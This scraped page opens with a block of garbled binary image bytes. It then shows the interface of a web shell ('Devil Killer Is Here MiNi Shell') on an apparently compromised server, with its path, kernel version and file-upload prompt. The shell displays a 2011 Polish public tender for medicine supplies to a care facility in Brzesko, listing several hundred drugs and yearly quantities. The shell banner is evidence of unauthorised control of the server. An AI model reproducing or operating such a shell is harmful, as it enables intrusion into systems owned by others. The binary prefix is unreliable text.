JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20110518/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20110518/140631-N-2011.html

<p class="kh_header"><b>Brzesko: DOSTAWA LEKÓW DLA POWIATOWEGO PUBLICZNEGO ZAKŁADU OPIEKUŃCZO - LECZNICZEGO</b><br>
<b>Numer ogłoszenia: 140631 - 2011; data zamieszczenia: 18.05.2011</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Powiatowy Publiczny Zakład Opiekuńczo-Leczniczy w Brzesku , ul. Tadeusza Kościuszki 33, 32-800 Brzesko, woj. małopolskie, tel. 14 663 01 09.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.ppzolbrzesko.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: POWIATOWY PUBLICZNY ZAKŁAD OPIEKUNCZO - LECZNICZY.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> DOSTAWA LEKÓW DLA POWIATOWEGO PUBLICZNEGO ZAKŁADU OPIEKUŃCZO - LECZNICZEGO.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest dostawa leków dla Powiatowego Publicznego Zakładu Opiekuńczo Leczniczego w Brzesku.

Lp	Nazwa leku	Op/rok
1	Acard 75mg  60 tabl.dojelit.     	80
2	Paski test.ACCU-CHEK Active Glucose 50sz	50
3	Acenocumarol  4 mg  60 tabl.	15
4	Acidum folicum  5mg 30tabl.(bl)	50
5	Aclotin 250 mg  20 tabl.powl.	5
6	Alantan  maść 30 g                  	100
7	Alantan  krem 35 g              	10
8	Alantan zasypka  100 g       	20
9	Alax  20 tabl.draż.         	60
10	Alendronatum Farmacom 70mg  4 tabl.	20
11	Alfadiol 0,25mcg  100 kaps.mięk.(blis.)	10
12	Alermed 10 mg  20 tabl.powl. (2blist.)	60
13	Altacet   6 tabl. (pudełko) 	40
14	Altacet  żel 1% 75g  	40
15	Amitriptylinum  10 mg  60tabl.powl.	20
16	Amizepin 200mg  50 tabl.(blis)	40
17	Amlopin 10 mg  30 tabl.	5
18	Amlopin  5 mg  30 tabl.	5
19	Amoksiklav  1.2g  5 fiolek	180
20	Amoksiklav 1000 mg  14 tabl.powl.	10
21	Amoksiklav  625 mg  14 tabl.powl.	10
22	Anafranil SR 75mg 20 tabl.powl.o p.uwal	2
23	Anastralan 1mg  28tabl.powl.(2bl.)	1
24	Aphtin     10 g    	80
25	Aqua pro inj. 10 ml  100 amp. (poliet.)	30
26	Woda do wstrzyk.250ml	120
27	Argosulfan  2% (20mg/g) krem  40g  	100
28	Arimidex 1 mg  28 tabl.powl.         	1
29	Asentra  50mg  28tabl.powl.      	5
30	Aspargin    50 tabl.           	10
31	Carvediol-Ratiopharm 6,25mg  30 tabl	20
32	Corator 20mg 30 tabl.powl.(blis.)	5
33	Carvetrend 6,25mg  30 tabl	20
34	Carvetrend 6,25mg  30 tabl	20
35	Atropinum sulfuricum inj.1mg/ml 10a	5
36	Azulan płyn  100 ml 	5
37	Avedol 6,25mg  30 tabl.powl.	100
38	Baclofen Polpharma 10 mg  50 tabl.	60
39	Baclofen Polpharma 25 mg  50 tabl.	20
40	Bactroban maść  20mg/g   15g	2
41	Baneocin  maść  20g	5
42	Bellapan  0.25 mg  20 tabl.    	5
43	Bemecor  100mcg  30 tabl.       	30
44	Berotec 100 N aerozol 10ml	10
45	Beto 50 ZK  28 tabl.o przedł.uwal.	100
46	Biodacyna inj.250mg/ml(0.5g/2ml) 1fi.	100
47	Biofuroksym inj. 1.5 g	100
48	Bioxetin  20 mg  30tabl.	5
49	Bisacodyl  5 mg  30 tabl.dojelit.	2
50	Bisacodyl 10mg  5 czop.  	50
51	Biseptol 960   10 tabl.(blister)	10
52	Biseptol 480 inj  10 amp po  5  ml	50
53	Boldaloin   30 tabl. Blist.	5
54	Butapirazol maść 50mg/g      30g	10
55	Calcium C  12+2 t.mus.pomar. 	5
56	Calcium chloratum inj. 10% 10 ml 10a.	10
57	Calperos  1000mg  100 kaps.	2
58	Captopril   25mg 30tabl.(blistry)	10
59	Cavinton forte 10 mg  30 tabl.	10
60	Chlorprothixen 0.015g 50tabl.pow.	1
61	Chlorprothixen 0.05g 50tabl.pow.	1
62	Cinnarizinum   25mg  50tabl.blis. 	5
63	Cipronex  inj.2mg/ml 100ml	300
64	Cipronex 500 mg  10 tabl.powl.(blister)	20
65	Clemastinum  1mg  30 tabl.	10
66	Clotrimazolum 1% krem   20g  	50
67	Clotrimazolum 1% 10mg/ml płyn15ml 	5
68	Cordarone  200 mg  30 tabl.     	2
69	Cordarone inj.150mg/3ml 6amp.	1
70	Corhydron 100 inj. 100Mg  5 fiol.+rozp.	40
71	Crotamiton maść  40 g     	30
72	Cutivate krem 0,5mg/g      15g	10
73	Czopki glicerolowe  2g  10szt     	50
74	Cyclonamine  0.25 g  30 tabl.	10
75	Cyclonamine inj. 12.5% 2ml  50amp.	50
76	Klimicin 300 mg  2 ml   5 amp.	2
77	Deflegmin 75mg 10kaps.o przedł.uw.	10
78	Depakine Chrono 500 30tbl.pow.o p.uw(bl)	40
79	Depakine Chrono 300 30tbl.pow.o p.uw(bl)	40
80	Dermazin   krem   50 g    	40
81	Detreomycyna  1% maść   5 g  	10
82	Dexaven inj.  4mg / 1ml  10 amp. 	50
83	Dexaven inj.  8mg / 2ml  10 amp. 	50
84	Diaprel MR 30 mg  60 tabl.o zmod.uwal.	20
85	Dicortineff krople do oczu i uszu  5ml	5
86	Diclac inj. 75mg/3ml   5 amp.	20
87	Dicortineff krople do oczu i uszu  5ml	5
88	Digoxin inj. 0,25mg/ml 2ml 5amp.	20
89	Diuresin SR 1,5 mg 30tabl.pow.o p.u(3bl)	5
90	Dopegyt 250mg  50tabl.	2
91	Dopaminum h/chl. 4% 200mg/5ml 10a.	10
92	Doxepin  25mg  30kaps.tw.(3bl)	2
93	Doxycyclinum 100mg 10kaps.tw.	60
94	Duomox 1000mg  20 tabl.	50
95	Ospamox  250mg/5ml pr.d.sp.zaw.6,6g/60ml	10
96	Ospamox  500mg/5ml pr.d.sp.zaw.12g/60ml	10
97	Effox  20mg   50 tabl.       	50
98	Effox  long 50mg  30tabl.o przedł.uw.	50
99	Mapryl 10 mg 60 tabl.       	10
100	Mapryl  5 mg  60 tabl.         	10
101	Encorton  5 mg  100 tabl.(fiolka)	5
102	Adrenalinum  0,1%inj.1mg/1ml  10amp.!	2
103	Espumisan 40mg  100 kaps.(blist.)	20
104	Euthyrox N   75    75 mcg  100 tabl.	2
105	Fibrolan   maść  25 g	50
106	Flegamina syrop o sm.miętowym 120ml	100
107	Flucofast    50mg   7 kaps.	10
108	Fluconazole  50mg  14tabl.blis.	10
109	Forcid 1000 1000mg 14tabl.do sp.zaw.dou	10
110	Furaginum  50mg  30 tabl.	50
111	Furosemidum  inj.20mg/2ml  50 amp.	50
112	Furosemidum 40mg  30tabl.(3bl.)	100
113	Gensulin M  30 zaw. 100j.m./ml 5 fiol  3 ml	5
114	Gensulin N zaw 100j.m./ml  5 fiolek 3 ml	5
115	Gensulin R roztw. 100j.m./ml 5  filol.  3 ml	5
116	Gencjana-1% aqua dest..roz.fiol.genc.20ml 	5
117	Gentamycin inj.80mg/2ml 10 amp.  	100
118	Gliceryna 1000 g 86%         	10
119	Glucosum inj. 5%  500ml poj.	1000
120	Glukophage 500mg  30 tabl. Powl	50
121	Glukophage 580mg  30 tabl. Powl	50
122	Glukophage 1000mg  30 tabl. Powl	50
123	Haloperidol  inj.5mg/1ml  10 amp.	60
124	Haloperidol  0,2%(2mg/ml)kr.dou.10ml	30
125	Haloperidol   1 mg  40 tabl.(2bl.)	10
126	Hemofer prol. 30 tabl.o przed.uw. 	20
127	Hemorectal  10 czop.	10
128	Heparinum 5000jm/ml 10 ml  10 amp	10
129	Hydrocortisonum Homeof. krem 10mg/g 15g	5
130	Hydroxyzinum  10mg  30 tabl.powl.	100
131	Hydroxyzinum  25mg  30 tabl.powl.	100
132	Hydroxyzinum  inj. 0.1g/2ml  5amp.	5
133	Hydroxyzinum syrop 10 mg/5ml 250g b/k	50
134	Hygroton 50mg  20tabl.	5
135	Ibuprofen 200mg 60tabl.draż.(3bl)	3
136	Imovane 7,5 mg  20tabl.powl.  (1blist.)	2
137	Insul.actrapid 100j/ml  5pen  3 ml!	2
138	Insul.Insulatard 100j/ml 3ml 5penf+ig!	2
139	Insul.mixtard 30 100j/ml 3ml 5penf+ig!	2
140	Insul.NovoRapid Penf.100j/ml 3ml 5wkł. !	2
141	Isoptin SR 120mg 40tabl.o przed.uwal.	2
142	Kaldyum 600 mg 100 kaps.o przed.uw.tw.	5
143	Kalipoz prolongatum 30tabl.o przed.uwal.	10
144	Kalipoz effrv. b/cukr. 3 g  20  sasz	20
145	Kalium chlor.15% inj.20ml 10fiol.	40
146	Kamiren  4 mg  30 tabl.          	2
147	Ketokonazol 200 mg  10 tabl 	10
148	Ketonal 50mg  24 kaps.twarde	50
149	Ketonal amp.100mg / 2ml  10 amp.	50
150	Ketonal forte 100mg  30 tabl.powl.	40
151	Ketonal  2,5% żel 100g	10
152	Krople miętowe       35 g       	1
153	Krople żołądkowe 35 g         	1
154	Lacidofil  20 kaps.                  !	40
155	Lactulol syr.2,5g/5ml 150ml 	100
156	Lerivon 30 mg  30 tabl.powl.	5
157	Lignocainum U żel 2% 30g    	30
158	Linomag 20% 200mg/g  krem   30g   (tuba)	10
159	Loperamid   2mg  30 tabl.	30
160	Losarten 50 mg +30 tabl	1
161	Madopar  62.5mg  100 kaps.(50mg+12.5mg)	5
162	Madopar  125mg  100kaps.	5
163	Dicloratio 50 50 mg  20 tabl.dojel.	10
164	Mannitol inj.20% 250ml fl.sz	500
165	Maść z witaminą A  30g 	50
166	Mefacit  250 mg 30tabl.(3blis.10tabl)	5
167	Multmel N 4 -550 E 2000ml  4 worki 	4
168	Multmel N 6 -900 E 1500ml  4 worki 	5
169	Multmel N 7 -1000 E 2000ml  4 worki 	2
170	Methocarbamol  0.5 g  50 tabl.	3
171	Metizol   5 mg  50 tabl.	20
172	Metoprolol    50 mg  30 tabl.	50
173	Metoclopramidum  10mg  50 tabl.	10
174	Metoclopramidum inj.10mg/2ml 5amp.	200
175	Metypred 4mg  30tabl.	30
176	Deprexolet 10mg  30 t.powl.(blis)P	120
177	Milocardin   krople   15 g	5
178	Milurit  100 mg  50 tabl.	5
179	Molsidomina 2 mg  30 tabl. 	5
180	Woda utleniona  1000g       (pl) 	40
181	Morphini sulf. inj.10mg/ml 10amp	30
182	Manitol inj. 20%100ml fl sz	400
183	Nakom 25 mg/250 mg  100 tabl.       	2
184	Naproxen  250mg  50 tabl. 	140
185	Naproxen  żel  10%    50 g    	40
186	Natrium bicarbon. inj.8.4% 20ml 10amp.	1
187	Natrium chlor. inj.0.9% 10ml 100amp plast	500
188	Natrium chloratum inj.0.9%.100ml 	100
189	Natrium chloratum inj.0.9%.250ml 	100
190	Natrium chloratum inj.0.9%.500ml 	1000
191	Neo-Pancreatinum Forte 20 .dojelit.	50
192	Nifuroksazyd  100mg  24tabl.powl.	40
193	Nitroglicer.0.5mg   20 tabl.p/jęz-bl.A	5
194	No-Spa 20mg/ml(40mg/2ml)  5 amp.	10
195	Galospa 40mg  20tabl.  Pojemn.	20
196	No-Spa Forte 80mg  20 tabl.	10
197	Nystatyna zaw.2.400.000jm/5g 24ml !	10
198	Oxycort     aerozol  30ml ( 16,125g)	2
199	Paracetamol 500 mg  20 tabl.   	200
200	Paracetamol    500mg   10czopków	80
201	Parafina ciekła   1000g   	5
202	Pernazinum  25mg   20 tabl. 	400
203	Phenazolinum 50mg/ml  10amp.po 2ml	2
204	Pimafucort  maść  15g	5
205	Płyn wieloel.fizj.izot.  500ml 	1000
206	Polfilin prolong.400mg 60tabl.o przed.uw	2
207	Polhumin Mix - 3 100 j.m./ml 3 ml  5 wkł.	5
208	Polhumin N 100 j.m./ml 3 ml   5 wkł	5
209	Polhumin R 100 j.m./ml 3 ml   5 wkł	5
210	Povidone Iodine solutio 10% TEVA   250ml	10
211	Polprazol 20mg 14 kaps.doj.tw.(blis.) 	200
212	Polprazol 40mg 14 kaps.doj.tw.(blis.) 	200
213	Poltram    50mg  20kaps..	20
214	Poltram 100  100mg/2ml   5amp. 	150
215	Poltram  krople  100mg/ml   96ml	20
216	Pramolan 50mg   20 tabl.powl.	3
217	Prestarium  5 mg  30 tabl.powl.	4
218	Pridinol 5mg  50 tabl.	5
219	Promazin  25mg  60 tabl.draż. 	2
220	Promazin  50mg  60 tabl.draż. 	2
221	Pulmicort zaw.0,5mg/ml 2ml 20szt.     	20
222	Pyralginum inj. 1 g/2 ml   5 amp.	20
223	Pyralginum inj.2.5 g/5 ml  5 amp.	100
224	Pyralgina  500mg   6tabl.	10
225		
226	Ranigast sol.pro infus.  0.05%  100ml	200
227	Płyn Sol.Ringeri  500ml poj.	100
228	Rivanol  0.1% roztwór  500g 	10
229	Rivanolum 100mg 5 tabl.d/sp.r-ru	5
230	Sachol żel stomatologiczny   10 g	5
231	Salbutamol inj. 0.5mg/1ml 10amp.	20
232	Ventolin aerozol wziewny 100mcg/d  200d	50
233	Siofor 500   500mg  30tabl.powl.	30
234	Siofor 850   850mg  30tabl.powl.	30
235	Siofor 1000   1000mg  60tabl.powl.	30
236	Solcoseryl maść 20g	40
237	Spironol 100 mg  20 tabl.powl.  blist.	50
238	Spironol  25 mg  100 tabl.	5
239	Spirytus kamforowy 1000g  	40
240	Spirytus salicylowy  1000g 	20
241	Sulfacetamidum 10% krople d/oczu0.5ml 12	20
242	Tabulettae laxantes  20 tabl.	4
243	Taninal 500mg  20 tabl.   Wrocław	4
244	Tardyferon-Fol 80mg 30tabl.powl.o zm.uw.	5
245	Tegretol CR 200 mg  50tab.o zmod.uwal.	5
246	Tegretol CR 400 mg  30tab.o zmod.uwal.	5
247	Tetabulin S/D inj.250j.m.(amp-strzyk) !	1
248	Theospirex retard 300mg 50tab.o przed.uw	20
249	Thiocodin  10 tabl.            	30
250	Ticlo  250 mg  20 tabl.powl.	5
251	Tisercin  25mg  50 tabl.powl.	5
252	Tolperis  50mg  90 tabl.powl.	2
253	Tisercin  25mg/1ml 10 amp	30
254	Torecan  6.5 mg  50 tabl.powl.	10
255	Torecan  inj. 6.5mg/1ml  5 amp.    	80
256	Pol-tram 100  100mg/2ml  5amp.	10
257	Poltram Retard 100 100mg 50tabl.o prz.uw	30
258	Poltram  krople  100mg/ml   10ml	10
259	Poltram    50mg 20kaps.PROM.(SZ)	20
260	Venotrex 300mg  50 kaps.twarde 	2
261	Isoptin inj. 0.005g/2ml  5amp.	1
262	Vinpocetine 5mg   50tabl. 	10
263	Vitaminum C  100mg 50tabl.powl.  	10
264	Zaldiar 37.5mg+325mg  10tabl.powl.	40
265	Zioła fix MIĘTA  Pieprzowa 1.5g 30	5
266	Zioła fix RUMIANEK  1,5g  30	5
267	Lexotan 3 mg  30 tabl. 	2
268	Combivir 150/300mg  60 tabl.	1
269	Phenazolinum 50mg/ml  10amp.po 2ml	2
270	Acetylcysteine  100mg/ml 3 ml  5 amp	20
271	Afobam 0,25 mg  30 tabl.	5
272	Afobam 0,50 mg  30 tabl.	5
273	Afobam 1 mg  30 tabl.	1
274	Amitriptylinum  25 mg  60 tabl. powl	50
275	Aulin 100 mg  30 tabl	5
276	Betadine roztwór na sk. 100Mg /ml 1000ml	10
277	Biotraxon 2g fiolka	60
278	Biseptol 480 inj  10 amp. Po 5 ml	10
279	Buscolysin inj. 20 mg/1ml  10 amp	200
280	Cavinton 5 mg  50 tabl. 	10
281	Clexane inj. 40 mg/0,4ml   10 a-s	1
282	Corhydron 100 inj. 100Mg  5 fiol. + rozp.	5
283	Cyclonamine  inj. 12,5% 2 ml  50 amp	5
284	Dipeptiven 200 mg/ml 50 ml	10
285	Depakine inj. 400 mg/4 ml  4 fiol + rozp 	5
286	Euthyrox N 100 100mcg  50 tabl	5
287	Exacyl inj. Doż. 100mg/ml 5 amp. Po 5ml 	100
288	Ferum Lek syrop 50 mg/ml 100ml	20
289	Fraxiparine 0,4 ml 3800j 10 amp-strz	100
290	Furosemidum inj. 20mg/2ml 50amp	40
291	Furosemidum inj. 40Mg  30 tabl 	40
292	GELITASPON Stand .gąbka 80 50 10mm 1 szt	50
293	Glibetic 1mg 30tabl. (3bl) 	2
294	Glibetic 2mg 30tabl. (3bl) 	2
295	Glibetic 3mg 30tabl. (3bl) 	2
296	Glibetic 4mg 30tabl. (3bl) 	2
297	Glucobay 50 mg  30 tabl.	2
298	Glucosum inj. 5% 250ml poj	2000
299	Glucosum inj. 10% 500ml poj.	100
300	Glucosum inj. 20% 10ml  50amp. 	2
301	Glucosum inj. 20% 500ml poj	10
302	Glucosum inj. 40% 10 ml  50 amp.	10
303	Heviran 200mg 30 tabl. Powl.	5
304	Iporel 75 mcg  50 tabl. A	3
305	IPP 20 20mg  38 tabl. dojelitowe (4bl)	2
306	Kalcid 500 mg  20 tabl. powl.	5
307	Lacidofil 200 kaps.	10
308	Magnesium sulfuric. Inj. 20% 2g/10ml 10a	30
309	Mapryl 5 mg  60 tabl 	1
310	Megace zawiesina 40mg/ml 240 ml	20
311	Metazydyna  20 mg60 tabl. powl (blist)	2
312	Midanium inj. 5 mg/5ml  10 amp 	50
313	Mirtastad 30 mg  30 tabl. powl. ( 3 blis)	2
314	Nabuton  500 mg  20 tabl	3
315	Nasen 10 mg  20 tabl. powl. ( 2 blis)  	3
316	Neurontin 100 100mg 100 kaps. Twarde	1
317	Neurontin 300 300mg  100 kaps. Twarde	2
318	Nitrozepam  5 mg  20 tabl. PS	2
319	Nitromint aer. Podjęzyk. 11G (200 dawek) A	5
320	Naocid 20 mg  28 tabl. dojelit. ( 4 blistry)	200
321	Nolpaza 20 mg  28 tabl. dojelit.	100
322	Nystatyna  zaw. 2,400,000jm/5g 24ml	300
323	Pabi-Dexamethason 500 mcg  20 tabl	30
324	Pabi-Dexamethason 1 mg  20 tabl	100
325	Paracetamol 500mg 10 czopków 	80
326	Paxtin 40 40 mg  30tabl.powl.blist	1
327	Pernazinum 100mg 30 tabl. 	20
328	Perfalgan roz. Do inf.10mg/ml 12 100ml	100
329	Piramil 5 mg  30 tabl (3bl)	1
330	Piramil 10 mg  28 tabl (3bl)	1
331	Poltram krople 100mg/ml 96ml z dozow	30
332	Rivastigmine Tavea 3 mg 28 kaps. Tward.	2
333	Siofor 850 850mg  30 tabl. powl. 	1
334	Tantum verde 1,5mg/ml aerozol 30ml InPh IR	20
335	Theophyllinum inj. Doż 300 mg 250ml 	100
336	Tormenitol maść 20 g	8
337	Wazelina kosmet.-Petroleum Vasel 100ml 	20
338	Wazelina kosmet. - z wit. A +E 50g 	20
339	NITRAZEPAM 5 mg X 20 tabl	50
340	OXAZEPAM  10mg x 20 tabl	192
341	CLONAZEPAMUM 1 mg/1ml x 10 amp	48
342	CLONAZEPAMUM 0,5 mg tabletki  op 30 tabl	50
343	CLONAZEPAMUM 2 mg tabletki  op 30 tabl	50
344	RELANIUM 10mg /2ml   5 ampułek	100
345	RELANIUM 2mg x 20 tabl	50
346	RELANIUM 5mg x 20 tabl	50
347	SIGNOPAM 0,01 g TABLETKI X 20 tabletek	50
348	LUMINALUM Unia tabletki 100mg op 10 tabl	48
349	ESTAZOLAM TZF tabletki 2 mg op 20 tabl	50
350	AFOBAM 0,25 mg x 30 tabl	30
351	AFOBAM 0,50 mg x 30 tabl	30
352	AFOBAM 1 mg x 30 tabl	30
353	RIVOTRIL  inj 1mg/1ml x 10 amp	20
354	ZOMIREN 1mg x 30tabl	20
355	ZOMIREN 0,25mg x 30tabl	20
356	ZOMIREN 0,5mg x 30tabl	20
357	MORPHINI SULFAS  roztwór do wstrzykiwań 10mg/ml op. 10 amp. 1 ml	48
358	MORPHINI SULFAS  roztwór do wstrzykiwań 20mg/ml op. 10 amp.  A 1 ml	240
359	TRANSTEC 52.5 30mg 5sasz.po1plast.	25
360	TRANSTEC 35 20mg 5szasz.po1plast.	25
361	TRANSTEC 70 40mg 5sasz.po1plast.	25
362	Nitrazepam GSK 5 mg  20 tabl. 	144
363	Sevredol 10mg 60 tabl. powl. (BLIS) 	4
364	Sevredol 20mg 60 tabl. powl. (BLIS) 	10
365	Doltard 10 mg 20 tabl. o prz.uw. (bl.) 	10
366	Doltard 30 mg 20 tabl. o prz.uw. (bl.) 	10
367	Doltard 60 mg 20 tabl. o prz.uw. (bl.) 	10
368	Doltard 100 mg 20 tabl. o prz.uw. (bl.) 	1
369	MSTContinus 10 mg  60 tabl. pow.. o zm. uw.	10
370	MSTContinus 30 mg  60 tabl. pow.. o zm. uw.	10
371	MSTContinus 60 mg 60 tabl. pow.. o zm. uw.	10
372	MSTContinus 100 mg  60 tabl. pow.. o zm. uw.	1
373	Relsed mikrowlewowy  doodbyt 4 mg/ml  5 wlewek 2,5ml	48
374	Relsed mikrowlewowy  doodbyt 2 mg/ml  5 wlewek 2,5ml	48
375	Durogesic 25mcg/h  5 syst transderm . 	25
376	Durogesic 50mcg/h  5 syst transderm . 	15
